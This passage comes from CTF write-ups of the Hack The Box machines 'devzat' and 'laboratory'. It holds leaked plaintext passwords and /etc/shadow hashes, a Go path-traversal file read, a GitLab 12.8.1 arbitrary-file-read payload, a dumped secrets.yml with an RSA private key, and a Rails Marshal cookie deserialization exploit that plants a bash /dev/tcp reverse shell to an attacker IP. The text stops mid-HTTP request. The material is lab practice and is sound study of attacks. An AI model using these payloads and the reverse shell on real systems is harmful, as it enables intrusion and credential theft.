Insert database name (exit to close): devzat
[devzat] Insert query (exit to change db): SELECT * FROM "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}
```

We got catherine user's creds. Let's login, SSH won't work. So use 'su'.

``` bash
patrick@devzat:/tmp$ su catherine
Password: 
catherine@devzat:/tmp$ cd ~
catherine@devzat:~$ cat user.txt 
9919bf525c5b8306176eaa39e17110d5
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2090.jpg)

#### get root

We got the user flag, let's run the linpeas one more time.

``` bash
#)You_can_write_even_more_files_inside_last_directory
/var/backups/devzat-dev.zip
/var/backups/devzat-main.zip
/var/crash
/var/tmp
```

Under backups there are two zip files, lets copy them to /tmp location and extract both.

``` bash
catherine@devzat:/tmp$ unzip devzat-dev.zip
Archive:  devzat-dev.zip
   creating: dev/
  inflating: dev/go.mod              
 extracting: dev/.gitignore          
  inflating: dev/util.go             
  inflating: dev/testfile.txt        
  inflating: dev/eastereggs.go       
  inflating: dev/README.md           
  inflating: dev/games.go            
  inflating: dev/colors.go           
 extracting: dev/log.txt             
  inflating: dev/commands.go         
  inflating: dev/start.sh            
  inflating: dev/devchat.go          
  inflating: dev/LICENSE             
  inflating: dev/commandhandler.go   
  inflating: dev/art.txt             
  inflating: dev/go.sum              
 extracting: dev/allusers.json       
catherine@devzat:/tmp$ unzip devzat-main.zip
Archive:  devzat-main.zip
   creating: main/
  inflating: main/go.mod             
 extracting: main/.gitignore         
  inflating: main/util.go            
  inflating: main/eastereggs.go      
  inflating: main/README.md          
  inflating: main/games.go           
  inflating: main/colors.go          
 extracting: main/log.txt            
  inflating: main/commands.go        
  inflating: main/start.sh           
  inflating: main/devchat.go         
  inflating: main/LICENSE            
  inflating: main/commandhandler.go  
  inflating: main/art.txt            
  inflating: main/go.sum             
  inflating: main/allusers.json
```

After extraction, you will find almost identical files and it's content. However, if you look at the difference between commands.go file, we will find something interesting.

``` bash
catherine@devzat:/tmp$ diff main/commands.go dev/commands.go
3a4
>       "bufio"
4a6,7
>       "os"
>       "path/filepath"
36a40
>               file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
38c42,101
<       commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
---
>       commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
> }
> 
> func fileCommand(u *user, args []string) {
>       if len(args) < 1 {
>               u.system("Please provide file to print and the password")
>               return
>       }
> 
>       if len(args) < 2 {
>               u.system("You need to provide the correct password to use this function")
>               return
>       }
> 
>       path := args[0]
>       pass := args[1]
> 
>       // Check my secure password
>       if pass != "CeilingCatStillAThingIn2021?" {
>               u.system("You did provide the wrong password")
>               return
>       }
> 
>       // Get CWD
>       cwd, err := os.Getwd()
>       if err != nil {
>               u.system(err.Error())
>       }
> 
>       // Construct path to print
>       printPath := filepath.Join(cwd, path)
> 
>       // Check if file exists
>       if _, err := os.Stat(printPath); err == nil {
>               // exists, print
>               file, err := os.Open(printPath)
>               if err != nil {
>                       u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
>                       return
>               }
>               defer file.Close()
> 
>               scanner := bufio.NewScanner(file)
>               for scanner.Scan() {
>                       u.system(scanner.Text())
>               }
> 
>               if err := scanner.Err(); err != nil {
>                       u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
>               }
> 
>               return
> 
>       } else if os.IsNotExist(err) {
>               // does not exist, print error
>               u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
>               return
>       }
>       // bokred?
>       u.system("Something went badly wrong.")
```

A new function is available in dev, that is file reading capabilities. But, it asks for the password and password if defined in the code. This new function is not available on the application which is running on port 8000, it is on 8443. So, access this port and read the root flag.

``` bash
catherine@devzat:/tmp$ ssh -l test localhost -p 8443
                                                      2 hours 10 minutes earlier
catharine: file
devbot: catharine has left the chat
devbot: catharine stayed on for 2 minutes
                                                       2 hours 6 minutes earlier
devbot: admin has joined the chat
admin: file
devbot: admin has left the chat
                                                       1 hour 54 minutes earlier
devbot: patrick has joined the chat
devbot: patrick has left the chat
devbot: patrick stayed on for 1 minute
                                                       1 hour 48 minutes earlier
devbot: catherine has joined the chat
catherine: file /etc/passwd woBeeYareedahc7Oogeephies7Aiseci
                                                       1 hour 44 minutes earlier
devbot: catherine has left the chat
devbot: catherine stayed on for 4 minutes
                                                       1 hour 39 minutes earlier
devbot: catherine has joined the chat
                                                       1 hour 23 minutes earlier
devbot: catherine has left the chat
devbot: catherine stayed on for 16 minutes
Welcome to the chat. There are no more users
devbot: test has joined the chat
                                                                     1 minute in
test: /file ../root.txt CeilingCatStillAThingIn2021?
[SYSTEM] 67f13f5a6aa22e9cf52f57f19c76f86d
test: /file ../etc/shadow CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/etc/shadow does not exist!
test: /file /etc/shadow CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/etc/shadow does not exist!
                                                                    3 minutes in
test: /file ../../etc/shadow CeilingCatStillAThingIn2021?
[SYSTEM] root:$6$DKdyL4hqyhhxcRyc$8N.1K/dHPqLb7VSB0IvfB.uhIKsH7IeGP/iyTRSYImFiAa
         wsaUOKs/TWe0DCp5wSscYvi.XjX8JPe6lZNnEmH/:18891:0:99999:7:::
[SYSTEM] daemon:*:18659:0:99999:7:::
[SYSTEM] bin:*:18659:0:99999:7:::
[SYSTEM] sys:*:18659:0:99999:7:::
[SYSTEM] sync:*:18659:0:99999:7:::
[SYSTEM] games:*:18659:0:99999:7:::
[SYSTEM] man:*:18659:0:99999:7:::
[SYSTEM] lp:*:18659:0:99999:7:::
[SYSTEM] mail:*:18659:0:99999:7:::
[SYSTEM] news:*:18659:0:99999:7:::
[SYSTEM] uucp:*:18659:0:99999:7:::
[SYSTEM] proxy:*:18659:0:99999:7:::
[SYSTEM] www-data:*:18659:0:99999:7:::
[SYSTEM] backup:*:18659:0:99999:7:::
[SYSTEM] list:*:18659:0:99999:7:::
[SYSTEM] irc:*:18659:0:99999:7:::
[SYSTEM] gnats:*:18659:0:99999:7:::
[SYSTEM] nobody:*:18659:0:99999:7:::
[SYSTEM] systemd-network:*:18659:0:99999:7:::
[SYSTEM] systemd-resolve:*:18659:0:99999:7:::
[SYSTEM] systemd-timesync:*:18659:0:99999:7:::
[SYSTEM] messagebus:*:18659:0:99999:7:::
[SYSTEM] syslog:*:18659:0:99999:7:::
[SYSTEM] _apt:*:18659:0:99999:7:::
[SYSTEM] tss:*:18659:0:99999:7:::
[SYSTEM] uuidd:*:18659:0:99999:7:::
[SYSTEM] tcpdump:*:18659:0:99999:7:::
[SYSTEM] landscape:*:18659:0:99999:7:::
[SYSTEM] pollinate:*:18659:0:99999:7:::
[SYSTEM] sshd:*:18800:0:99999:7:::
[SYSTEM] systemd-coredump:!!:18800::::::
[SYSTEM] patrick:$6$7ni9PM4l99B7EKPi$/uLBm1IhrKmkS9xPaIgRRZj8aVfASc4eIZt.FvNDEz2
         r06MIsQMEf3bNegOIxGI./UsabjqsRSV6hWxrJrqbj0:18800:0:99999:7:::
[SYSTEM] catherine:$6$.T9ZmexDFzOpXCH/$u9TICZ3NN5HOC1lWNHGuXP0Hyn/R8HMPS12kUgFdP
         AwUNl8F3qd5yuL6ptmW40IrBLxBMOTjskHfu1CwK72bw0:18800:0:99999:7:::
[SYSTEM] usbmux:*:18800:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2091.jpg)

#### Summary of knowledge

 - vhost fuzzing
 - dir fuzzing
 - dump and extract .git dir
 - golang source code command injection
 - chisel port forwarding
 - InfluxDB Exploit CVE-2019-20933 exploit
 - golang source code file reading capabilities

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end devzat -->

</details>

<a id="case-laboratory"></a>

## GitLab 上传重写与密钥链

任意文件读取暴露 Rails 密钥，后续反序列化和控制台操作连接用户访问。docker-security 的 PATH 使用是本地权限边界。

<p class="kb-provenance">来源 laboratory · 原记录 2020-11-22 · 36 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-laboratory">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start laboratory -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	14 Nov 2020
IP:	10.10.10.216

User Blood wtflink	00 days, 01 hours, 48 mins, 28 seconds.
Root Blood Icebreaker	00 days, 02 hours, 03 mins, 10 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb122.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine/laboratory# nmap -sV -p- -v --min-rate=10000 laboratory.htb
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.41
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
```

``` bash
root@kali:~/hackthebox/machine/laboratory# nmap -sV -sC -A -v -p 22,80,443 -T4 laboratory.htb
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Issuer: commonName=laboratory.htb
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-05T10:39:28
| Not valid after:  2024-03-03T10:39:28
| MD5:   2873 91a5 5022 f323 4b95 df98 b61a eb6c
|_SHA-1: 0875 3a7e eef6 8f50 0349 510d 9fbf abc3 c70a a1ca
| tls-alpn: 
|_  http/1.1
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (90%), Crestron XPanel control system (89%), HP P2000 G3 NAS device (86%), ASUS RT-N56U WAP (Linux 3.4) (86%), Linux 3.1 (86%), Linux 3.16 (86%), Linux 3.2 (86%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (86%), Linux 2.6.39 - 3.2 (85%), Infomir MAG-250 set-top box (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 28.570 days (since Sat Oct 24 16:43:41 2020)
Network Distance: 2 hops
```

there is a new vhost get caught by nmap: git.laboratory.htb

#### Port 80

There is nothing on the webiste other than some usernames

Fuzzing the dirs
I ran wfuzz on the “/” and got these results

``` bash
root@kali:~/hackthebox/machine/laboratory# wfuzz -u https://laboratory.htb/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 --hh 7254
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer                         *
********************************************************

Target: https://laboratory.htb/FUZZ
Total requests: 220560

===================================================================
ID           Response   Lines    Word     Chars       Payload                                      
===================================================================

000000016:   301        9 L      28 W     319 Ch      "images"                                     
000000291:   301        9 L      28 W     319 Ch      "assets"
```

#### VHOST git.laboratory.htb

So i added the new vhost i got from the nmap to my /etc/hosts

And i can see that Gitlab is hosted on the vhost

Now i registered myself as lucifer11

and logged in

Didn’t see anything good and juicy then i just go to: https://git.laboratory.htb/help

saw the current version of gitlab installed

``` bash
GitLab Community Edition 12.8.1
```

So its 12.8.1 , so i searched a bit about it on google and got so many CVES

And a hackerone report caught my eyes , it was disclosed few months ago and was about LFI & RCE

 - [Arbitrary file read via the UploadsRewriter when moving and issue](https://hackerone.com/reports/827052)

in this report gitlab team mentioned that they will release the 12.9.1 so i was pretty sure it was on 12.8.1

#### Arbitrary file read

So as the First part of report is Arbitrary file read so i am gonna test if its vulnerable or not...

 - Made two repos

``` bash
test1
test2
```

 - Opened an issue with the following description in test1

``` bash
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
```

 - Move the issue to the test2 repo

 - Download and read the file

#### Got the passwd file

If i click and download the passwd file its the actually /etc/passwd file

passwd

``` bash
root@kali:~/hackthebox/machine/laboratory# cat passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
```

#### RCE in the gitlab

Now i can that i can read the files on the server so i can perform the RCE as mentioned in the report

 - Marshalled payload

I need to make a Marshalled payload with the help of github-rails console

``` bash
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo lucifer11 was here > /tmp/luci` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
```

 - make a marshell payload that will make a file on the server /tmp/shell.sh with the content to my reverse shell

 - now url-encode the payload and set it in experimentation_subject_id

 - make another marshell payload that will execute the file

got a docker running gitlab, installed gitlab locally on local system and spawned the gitlab-rails console and type the following

before put the content into gitlab-rails console,we had to read: /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml,then replace the content in the gitlab docker container.

read /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

``` bash
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
```

and got the content:

``` bash
# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.

---
production:
  db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY-----
```

then replace the content in local gitlab docker's secrets.yml file,then lunch gitlab-rails console:

``` bash
root@kali:~/hackthebox/machine/laboratory# docker run --rm -d -p 4443:443 -p 8090:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0
Unable to find image 'gitlab/gitlab-ce:12.8.1-ce.0' locally
12.8.1-ce.0: Pulling from gitlab/gitlab-ce
fe703b657a32: Pull complete 
f9df1fafd224: Pull complete 
a645a4b887f9: Pull complete 
57db7fe0b522: Pull complete 
7c1fdc95f4c9: Pull complete 
efff5e3fbef4: Pull complete 
cd352b2b7d4b: Pull complete 
9cfdfa991813: Pull complete 
27f887c2ede5: Pull complete 
68b87e2fd6a0: Pull complete 
Digest: sha256:01325161649a28155d8857e4f47462d2bf9406d612c11b8929d2482bfba3ad32
Status: Downloaded newer image for gitlab/gitlab-ce:12.8.1-ce.0
1df67bb56116b7530b7ada370ecfab40312aee8d3d67bff53852ffd0cb6e2815
root@kali:~# docker exec -ti gitlab bash
root@1df67bb56116:/# gitlab-rails console
(put the following content of what we got)
```

 - content:

``` bash
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar

erb = ERB.new("<%= `echo 'bash -i >& /dev/tcp/10.10.14.3/1234 0>&1' > /tmp/shell.sh` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
```

now the output marshell-payload was

``` bash
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAXwjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzEyMzQgMD4mMScgPiAvdG1wL3NoZWxsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--45d9d01f0bcc1f1b323513b0b12d81e2577dcf50
```

url-encode with burp

``` bash
%42%41%68%76%4f%6b%42%42%59%33%52%70%64%6d%56%54%64%58%42%77%62%33%4a%30%4f%6a%70%45%5a%58%42%79%5a%57%4e%68%64%47%6c%76%62%6a%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%6c%5a%45%6c%75%63%33%52%68%62%6d%4e%6c%56%6d%46%79%61%57%46%69%62%47%56%51%63%6d%39%34%65%51%6b%36%44%6b%42%70%62%6e%4e%30%59%57%35%6a%5a%57%38%36%43%45%56%53%51%67%73%36%45%45%42%7a%59%57%5a%6c%58%32%78%6c%64%6d%56%73%4d%44%6f%4a%51%48%4e%79%59%30%6b%69%41%58%77%6a%59%32%39%6b%61%57%35%6e%4f%6c%56%55%52%69%30%34%43%6c%39%6c%63%6d%4a%76%64%58%51%67%50%53%41%72%4a%79%63%37%49%46%39%6c%63%6d%4a%76%64%58%51%75%50%44%77%6f%4b%43%42%67%5a%57%4e%6f%62%79%41%6e%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%7a%4c%7a%45%79%4d%7a%51%67%4d%44%34%6d%4d%53%63%67%50%69%41%76%64%47%31%77%4c%33%4e%6f%5a%57%78%73%4c%6e%4e%6f%59%43%41%70%4c%6e%52%76%58%33%4d%70%4f%79%42%66%5a%58%4a%69%62%33%56%30%42%6a%6f%47%52%55%59%36%44%6b%42%6c%62%6d%4e%76%5a%47%6c%75%5a%30%6c%31%4f%67%31%46%62%6d%4e%76%5a%47%6c%75%5a%77%70%56%56%45%59%74%4f%41%59%37%43%6b%59%36%45%30%42%6d%63%6d%39%36%5a%57%35%66%63%33%52%79%61%57%35%6e%4d%44%6f%4f%51%47%5a%70%62%47%56%75%59%57%31%6c%4d%44%6f%4d%51%47%78%70%62%6d%56%75%62%32%6b%41%4f%67%78%41%62%57%56%30%61%47%39%6b%4f%67%74%79%5a%58%4e%31%62%48%51%36%43%55%42%32%59%58%4a%4a%49%67%78%41%63%6d%56%7a%64%57%78%30%42%6a%73%4b%56%44%6f%51%51%47%52%6c%63%48%4a%6c%59%32%46%30%62%33%4a%4a%64%54%6f%66%51%57%4e%30%61%58%5a%6c%55%33%56%77%63%47%39%79%64%44%6f%36%52%47%56%77%63%6d%56%6a%59%58%52%70%62%32%34%41%42%6a%73%4b%56%41%3d%3d%2d%2d%34%35%64%39%64%30%31%66%30%62%63%63%31%66%31%62%33%32%33%35%31%33%62%30%62%31%32%64%38%31%65%32%35%37%37%64%63%66%35%30
```

and replace the text in the experimentation_subject_id cookie with above url-encode

``` bash
GET / HTTP/1.1

Host: git.laboratory.htb

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,hi;q=0.8

